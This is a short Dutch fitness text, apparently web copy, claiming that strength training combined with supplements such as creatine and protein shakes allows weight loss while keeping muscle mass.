Je kunt dankzij krachttraining en direct spieropbouw ook zorgen voor een gezond gewichtsverlies. Je kunt namelijk gaan trainen in een sportschool en er tegelijkertijd voor zorgen dat je afvalt. Door de juiste voedingssupplementen te gebruiken kun je er voor zorgen dat je direct ook spiermassa wint. Hiervoor is creatine is ideaal en daarnaast zijn ook eiwit shakes ideaal. Hierdoor behoud je je spiermassa, maar val je tegelijkertijd dus wel af.